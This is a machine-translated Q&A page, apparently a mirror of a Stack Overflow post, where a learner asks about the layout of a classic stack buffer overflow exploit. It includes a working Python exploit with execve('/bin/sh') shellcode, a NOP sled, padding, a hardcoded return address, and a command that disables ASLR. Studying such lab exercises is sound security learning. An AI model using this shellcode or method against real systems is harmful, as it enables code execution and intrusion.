繁体   English   中英

为什么这是漏洞利用的结构

[英]Why is this the structure of the exploit

所以我尝试了一个教程: https : //sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

我一直在努力找出漏洞利用代码的顺序,至少是这样。

我不知道先放NOPS,然后再放Shell代码的原因,我不知道为什么不先将shellcode放到buf中,然后再放垃圾地址和ret地址的原因。 我以为是要保存内存地址的计算,但这真的是原因吗? 仅使用已经拥有的堆栈(不是不超出返回地址)会更简单吗? 为什么不将恶意缓冲区设置为:Shellcode + Junk + ret-address(以shellcode开头)? 是因为内存地址计算有些复杂吗? 希望我能说清楚。

先感谢您。

编辑:

一个相同的示例(与我运行的代码相同):

https://github.com/jivoi/junk/blob/master/pwnerrank/binary-exploitation/stack-based-buffer-overflow-code-execution.c

我找到了解决问题的方法。

因此,首先可以仅在堆栈范围内利用它(这意味着我仅使用缓冲区和位于堆栈中的返回地址之间的内存,以便执行代码),并且确实可以需要一些额外的计算,但是感觉有些“干净”,可能没有区别,但仍然可以使用。

非外壳程序的问题是我没有注意到我实际上没有对“ echo 0> / proc / sys / kernel / randomize_va_space” sudo'd,并且它没有运行。

我为仅使用堆栈的漏洞利用添加了代码。 我必须找到ESP,首先放置100个NOP,然后输入代码,然后输入一些垃圾(A),最后返回地址。

我使用以下方法知道大小:我知道是否将所有内容“垃圾”到返回地址(包括返回地址),即268 + 4(272)字节。 另外,我的shellcode长25字节,而NOP长100字节。 我还必须记住,返回地址的长度为4个字节,因此总计:

我需要填充:首先使用NOP填充100个字节,然后使用shell代码填充25个字节,然后再剩下要计算的垃圾块,最后再填充4个字节的返回地址。

我可以得出结论,垃圾块需要为:272-(100 + 25 + 4)= 143字节长。 因此,我所做的是复制“ A” 143次。

地址0xbffff164源自以下事实:缓冲区所在的起始位置为0xbffff210-272,并且由于前100个字节用于NOP,因此我们加了100,最后得到0xbffff164。

这是我剩下的代码,它利用了相同的漏洞,只是没有超出返回地址的范围(不真正知道它是否重要,尽管需要更多的计算,但对我来说还是比较干净):

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff210    # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be) 

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

buf = "\x90" * 100
buf += scode
buf += "A"*143
buf += conv(0xbffff164)

print "Calling vulnerable program"
call(["./vuln", buf])

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM